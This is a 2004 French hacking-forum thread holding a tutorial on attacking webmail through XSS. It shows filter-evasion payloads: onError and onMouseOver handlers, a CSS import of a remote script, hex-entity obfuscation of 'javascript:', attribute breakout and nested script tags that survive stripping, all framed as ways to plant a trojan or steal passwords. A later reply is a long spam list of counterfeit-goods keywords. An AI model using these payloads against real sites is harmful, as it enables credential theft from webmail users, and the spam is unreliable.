logo

Knowledge Is Power

 
 

- Reinit des nouveaux posts -

- Recherche -

Messages Privés - Derniers posts
S'enregistrer - Login - Liste des membres
Vous logger : Login Pass

Comment ça marche ? >> Les attaques par Webmail & XSS Newtopic | Reply
poster txt
benjilenoob
Inscrit le 03-10-2004
Avatar
Posté le 12-12-2004 17:52

Les attaques par Webmail

Dans ce tuto je vais vous montrer différente techniques afin d?exploiter les navigateurs et les failles présentes sur certain site web qui vont permettre d?uploader un trojan sur une cible ou autre?.
La consultation de courrier électronique utilise le protocole http, auquel il manque le concept de session, ce qui implique l?usage d?une méthode d?authentification autre que par mots de passe. En effet, à chaque fois que vous affichez une page, le navigateur doit se connecter au serveur, s?authentifier, récupérer la page en question, puis se déconnecter.
Comment éviter de retaper plusieurs fois son passe ? Plusieurs techniques son valides :
· Demander une première fois le mots de passe, le retenir pendant une petit lapse de temps puis le demander a nouveau.
· La vérification de l?adresse IP de l?utilisateur et le partage d?un secret entre le navigateur et le site visité.
Dans ce tutorial je ne vais pas vous expliquer tout ceci mais des failles liés au corps du message et à son interprétation par le navigateur.

Failles liés au corps du message et à son interprétation par le navigateur

Je pense que ceci intéresse beaucoup de monde donc je vais prendre mon temps a tout bien expliciter en commencent par comment se protéger puis les parades a certaines sécurité.

Code HTML dans un champs de texte

Pour qu? aucun code HTML ne se glisse dans une champs de type texte on utilise un système qui va convertir le texte en « code d?entité ». Par exemple < va être converti en &#60 ; ou &lt ; Pour faire une tel conversion il faut mettre dans la source de la page ceci :
<META http-equiv= « Content-Type » content= «text/html » charset=« ISO-8859-1 »>
A cause de ceci nous ne pouvons pas inclure du code pour exécuter un code sur une cible, mais il existe des parades dont je vais parler plus loin.

Code Html dans la valeur d?un attribut, un script, une adresse URL

Pour afficher un courrier Web dans une page html il faut créer une zone spécial dans la page, après un filtrage de documents hostiles ou non autorisés.
A cause de cela on ne peut pas utiliser les balises suivantes : <applet>, <embed>, <object>, <bgsound>, <sound>, <frame>, <frameset>, <iframe>. Qui permette :
· d?intercepter un clic de l?utilisateur sur un bouton de controle de sa boite e-mail et de le rediriger vers un faux site imitant le vrai ; quand l?utilisateur saisi son mot de passe le pirate n?a plus qu?à le récupérer.
· d?insérer du contenu externe indésirable (attention à <script>).

Attributs « ON »

Ces attributs sont très pratiques car ils permettent de faire exécuter du code dans certaines conditions comme par exemple :
· <img src=«invalide » onError=« ? »> qui va exécuter un code automatiquement.
· <b onMouseOver=«alert(?hoho?) ; »)texte</b> exécute le code Javascript quand l?utilisateur passe sa souris par dessus le texte.

Astuce pour passer tout les systèmes de filtrage

Dans cette partie je vais juste vous parler de failles très connus qui ont été publié plein de fois sur le net.

Tromper le filtre

Bon chaque navigateur a sa façon d?interpréter un code donc il est possible qu?un code ne marche que sur Internet Explorer et pas sur Netscape. Il faut aussi compter sur les nouvelles fonctionnalité qui apparaissent de plus en plus et qui contiennent des failles de sécurité.

Exemple de techniques concrètes

Importer un code javascript dans une feuille de style (Internet explorer) :

<style type="text/css">
@ import url(<a href="http://.../script.js">http://.../script.js);
</style>

Le & :

Particulier a Netscape, il permet l?exécution de code javascript dans les attributs.

Les entités HTML :

J?en ai parlé avant donc pas besoin de re-expliquer ce que c?est. Maintenant je vais vous expliquer comment le passer. Il est possible d?ecrire des entités au format hexadecimal, d?ajouter des 0, d?omettre le point-virgule, etc.

<img src="jav&#X41sc ript:.."> est un code valide.

Le signe > de fin de balise inclus dans un attribut

Si je rajoute un attribut dans un champs de texte un code comme : alert(?salut?) ; ">
Dans une code comme : <img src="attribut donné plus haut">lien</a>
Ceci va donné dans la source <img src=" alert(?salut?) ; ">">lien</a>
A cause de cela le navigateur va exécuter ceci : <img src=" alert(?salut?) ;"> donc un code qui peut être hostile.
D?ailleurs Yahoo fut victime de cette faille dans l?insertion de target="_blank" dans un lien href pouvait être contournée avec cette technique.

Utiliser l?action du Filtre :

Des fois le code subit un encodage particulier et il est possible de s?en servir pour tromper le filtre. Prenons un filtre qui va enlever les balises <script> ce qui a priori empêche l?exécution d?un script quelconque. Mais si je met ceci dans le champs de texte : <scr<script>ipt Language=jav<script>ascri<script>pt1.1> quand le filtre va passer sur mon code il va enlever toutes les balises <script> ce qui me donne <script language=javascript1.1> et je peux exécuter mon code !

Annuler l?action du script

Il est possible grace a ceci --> de fermer des commentaires introduit par le filtre. Si celui ci ignore ce qui est placé en commentaire il est possible de faire exécuter du code malveillant.


Voilà la fin du tutorial j?espere que vous avez tout compris sur comment passer les filtres car sa sers un max.

Tutorial par Benjilenoob
profil | Website | edit | quote
Snake
Inscrit le 19-11-2004
Avatar
Posté le 18-12-2004 02:42

jolie tuto ya cependant un petit details , jai vu le meme tuto avec les meme exemple dans un booking qui a ete publier en 2003 ... donc sa doit faire un sacrer bout que tu la se tuto ou..?
profil | Website | MSN | edit | quote
ninest123
Inscrit le 13-06-2018
Posté le 13-06-2018 09:33

mt20180613
jordan retro 11
keen sandals
ralph lauren outlet
ugg australia
jimmy choo outlet
nike tessen
timberland boots outlet
manolo blahnik shoes
merrell shoes
uggs
florsheim shoes
adidas yeezy
oakley sunglasses
vasque boots
air jordans
michael kors outlet canada
asolo boots
ralph lauren outlet
hermes birkin
kate spade handbags
birkenstock sandals
michael kors outlet canada
oakley sunglasses
nike zoom
adidas outlet
swarovski crystal
swarovski outlet
red bottoms
canada goose outlet
canada goose outlet
nike store
coach outlet
lebron james shoes
timberland outlet
canada goose
longchamp outlet
moncler jackets outlet
longchamp outlet online
canada goose outlet
cheap nba jerseys
birkenstock outlet
coach outlet store
fitflops
air max 2018
coach factory outlet
birkenstock outlet
canada goose jackets
coach canada
converse outlet store
michael kors handbags
birkenstock shoes
replica watches
polo outlet
adidas stan smith
gap polo shirts
tiffany and co
asics shoes
coach outlet store
supra shoes
vans store
air max 90
birkenstock sandals
kate spade outlet
uggs outlet
michael kors outlet
nike shoes
coach outlet
ralph lauren outlet
mont blanc pens
moncler outlet
supra shoes
kobe bryant shoes
cheap ray ban sunglasses
pandora charms
hermes outlet
salvatore ferragamo
kevin durant shoes
ray ban sunglasses
cheap oakley sunglasses
teva shoes
michael kors
nike air max
moncler outlet
fitflops
nike epic react flyknit
moncler jackets
coach factorty outlet
jordans
kate spade handbags
christian louboutin outlet
moncler jackets
coach outlet
cheap uggs
nike shoes for men
coach outlet
ugg outlet
coach outlet
cheap jordans
michael kors outlet
michael kors outlet
polo ralph lauren outlet online
alden shoes
polo ralph lauren
oakey sunglasses
coach factory outlet
yeezy 350 boost
toms outlet
burberry outlet
adidas shoes
michael kors outlet
moncler
cheap nike air max
mulberry handbags
ray ban sunglasses discount
pandora jewelry
canada goose sale
fendi handbags
cheap jordans
coach factory outlet online
cheap jordans free shipping
mulberry uk
cheap jordans
givenchy handbags
coach outlet
pandora charms sale clearance
timberland boots
michael kors outlet
ralph lauren sale
ralph lauren sale clearance
puma shoes
pandora outlet
coach factory outlet
kate spade outlet store
jordans
gucci outlet
nike air max 87
new balance shoes
christian louboutin outlet
tory burch outlet
christian louboutin
adidas shoes
ecco shoes
timberland boots
oakley sunglasses outlet
columbia shoes
tiffany outlet
coach outlet
nike free 4.0
versace handbags
michael kors outlet
givenchy handbags
louboutin shoes
cole haan outlet
prana clothing
michael kors outlet
naot sandals
dr martens
jordan retro
michael kors outlet online
michael kors outlet online
reef sandals
pandora charms
uggs
hermes handbags
ugg outlet
salewa shoes
cheap mlb jerseys
nike air more money
nike cortez
supreme clothing
ecco outlet
coach outlet
converse shoes
adidas shoes
timberland boots
kenneth cole shoes
michael kors outlet online
michael kors factory outlet
polo outlet
coach outlet store
air max 2017
mulberry bags
coach outlet store
adidas originals
coach outlet
yeezy boost
coach outlet online
polo ralph lauren outlet
nike cortez
canada goose outlet
timberland boots
pandora store
nike outlet online
kate spade bags
pandora jewelry official site
fitflops
adidas shoes
nike air max 270
coach factory outlet
vionic sandals
louis vuitton outlet online
coach factory outlet online
converse all star
nmd adidas
nike basketball shoes
moncler jackets
canada goose uk
pandora outlet
ralph lauren outlet
moncler outlet
nike shoes
coach factory outlet
christian louboutin outlet
michael kors outlet
pandora charms sale
coach factory outlet
moncler outlet
michael kors outlet
ralph lauren sale clearance
vans shoes
ferragamo shoes
johnston and murphy outlet
kate spade outlet
canada goose outlet
pandora jewelry outlet
canada goose jackets
coach factory outlet
coach factory outlet
rolex watches
mlb jerseys
coach outlet
coach factorty outlet
garmont boots
coach outlet store online clearances
louis vuitton outlet
teva sandals
salvatore ferragamo shoes
coach factorty outlet
michael kors outlet clearance
lacoste polo shirts
adidas yeezy
adidas nmd
nike outlet
ysl handbags
birkenstock sandals
coach outlet
ralph lauren uk
jimmy choo
christian louboutin
pandora charms
supreme clothing
nike zoom
cheap jordan shoes
john lobb boot maker shoes
ugg boots
ralph lauren outlet
coach outlet
fitflops
pandora jewelry
nike shoes
mcm outlet
yeezy boost
nike air max outlet
oakley sunglasses
mont blanc
tory burch outlet
kobe shoes
fitflops sale clearance
red bottoms shoes
nike outlet
pandora charms
coach outlet online
red bottom shoes
saint laurent handbags
ugg outlet
pandora jewelry
salvatore ferragamo
adidas yeezy boost
adidas campus
coach outlet canada
adidas
nike shoes
givenchy outlet
canada goose sale
ecco shoes
nike air max 95
michael kors outlet clearance
moncler outlet
polo ralph lauren outlet online
louboutin shoes
ugg outlet
polo ralph lauren outlet
coach outlet
ralph lauren outlet
adidas shoes
michael kors outlet clearance
mcm handbags
nba jerseys
puma rihanna shoes
louis vuitton handbags
air jordans
michael kors outlet canada
valentino shoes outlet
coach outlet store
toms outlet
wolverine boots
nike outlet store
nike air presto
pandora charms
red wing outlet
coach outlet store
new balance outlet
hermes bags
chch handbags
jimmy choo outlet
cheap jordans
canada goose jackets
polo ralph lauren outlet online
pandora jewelry outlet
salvatore ferragamo shoes
cheap mlb jerseys
north face outlet
canada goose outlet
coach factorty outlet
birkenstock shoes
birkenstock
cheap nfl jerseys
caterpillar boots
canada goose jackets
jordan shoes
coach outlet
ultra boost
coach outlet
ysl outlet
pandora
coach outlet
kate spade outlet
air max 2019
michael kors outlet
canada goose jackets uk
ugg boots on sale
ralph lauren outlet
pandora jewelry
mbt
canada goose outlet
vasque shoes
fitflops sale
adidas outlet
pandora jewelry
kate spade handbag
yeezy boost
canada goose
supreme new york
louis vuitton
arcteryx boots
pandora charms
yeezy boost
red wing shoes
kate spade outlet store
pandora charms sale clearance
pandora jewelry official site
cheap nfl jerseys
nike air max shoes
pandora jewelry
mulberry outlet
ugg outlet
nike air force 1
michael kors handbags
ralph lauren
kate spade outlet
fitflops sale clearance
salvatore ferragamo shoes
allen edmonds shoes
canada goose outlet
nike outlet
moncler jackets
air max 2018
nike outlet online
armani exchange outlet
north face jackets
mbt shoes
dr martens boots
coach outlet store online
pandora charms
pg 2
pandora jewelry
asics outlet
nike shoes
dior handbags
nike air max 1
ralph lauren outlet
lowa boots
berluti shoes
oakley sunglasses
valentino shoes
moncler outlet
valentino shoes
cole haan shoes
dolce and gabbana handbags
air jordan shoes
moncler jackets
adidas nmd shoes
danner boots
coach outlet online
discount oakley sunglasses
kate spade
ugg boots
ralph lauren uk
coach outlet
nike air max
polo outlet store
cheap mlb jerseys china
cheap oakley sunglasses
kate spade outlet store
air more uptempo
ecco shoes for men
abercrombie
jordan shoes
adidas nmd
birkenstock sandals
mikimoto pearls
tiffany and co
christian louboutin shoes
coach outlet
fitflops
pandora charms sale clearance
north face jackets
cheap jordans
canada goose jackets
ralph lauren sale clearance
ray ban sunglasses
supreme clothing
philipp plein outlet
michael kors outlet online
bally handbags
tory burch outlet online
van cleef and arpels jewelry
skechers shoes
fitflops sale clearance
adidas nmd
rolex watches
coach factory outlet
nike react shoes
mammut boots
uggs outlet
coach outlet
hermens bags
timberland outlet
louis vuitton outlet store
canada goose uk
the frye company shoes
kate spade
dooney and bourke handbags
coach factory outlet
adidas yeezy
adidas superstar
louboutin shoes
canada goose jackets
salomon shoes
chopard watches
michael kors outlet
nike dunks
cartier outlet
coach outlet
hermes handbags
uggs canada
mbt shoes
reebok shoes
fred perry polo
adidas yeezy
nike air max zero
adidas yeezy boost
michael kors outlet
jordan shoes
toms shoes
louis vuitton
pandora outlet
unomagli shoes
keen shoes
canada goose sale
canada goose outlet
louis vuitton outlet
nike huarache
ray ban sunglasses
kate spade outlet
fred perry
underarmour shoes
ugg boots on sale
dansko shoes
saint laurent outlet
ecco shoes
pandora jewelry
nike shox
oakley sunglasses
adidas shoes
jordan shoes
abercrombie and fitch
pandora outlet
nike outlet
harden vol 1
pandora jewelry
michael kors outlet
polo ralph lauren outlet
coach outlet
birkenstocks
coach outlet
coach outlet store
michael kors outlet clearance
coach outlet
ferragamo outlet
air max 97
burberry outlet
coach factory outlet
coach factory outlet
salomon shoes
kyrie 4 shoes
hermes handbags
oakley sunglasses
nike huarache
cheap jordans for sale
columbia sportswear
nike air foamposite
fitflops sale
coach factory outlet
louis vuitton outlet online
kate spade
michael kors
adidas yeezy boost
nfl jerseys wholesale
pandora jewelry
prada handbags
cheap ray bans
coach factory outlet
timberland outlet
ray ban sunglasses
uggs
moncler coats
dr martens outlet
ralph lauren
coach outlet
nike air max
air jordan shoes
air max 97
jordan shoes
adidas superstar
adidas outlet
coach outlet
harry winston jewelry
jordan shoes
philipp plein shirt
ray ban sunglasses discount
nike free run
canada goose outlet
nike air max axis
yeezy boost 350
ugg boots
michael kors outlet
prada outlet
cheap oakley sunglasses
mt20180613
profil | AIM | edit | quote
Newtopic | Reply

Online : Danielcip, Jaredfluix, jjqEximi, jjqtaunk, Juniorvumma, Miguelgaddy, nyjChalp, PhilipAdore et 139 Guests


Retour Index NewFFR Repository : http://taz.newffr.com
Cagades à Stick : http://alcane.newffr.com
Forum HTML et Archive -> ici
ForumFR Sql/Xml (2006/04) (SF pas à jour du tout...) - Alive since 2001 Newffr.com
Pour toute plainte ou problème -> Contacter Borax, Hyatus, Tweakie ou Stick par message privé (ou Gueulez sur le forum :) )
Retour haut de page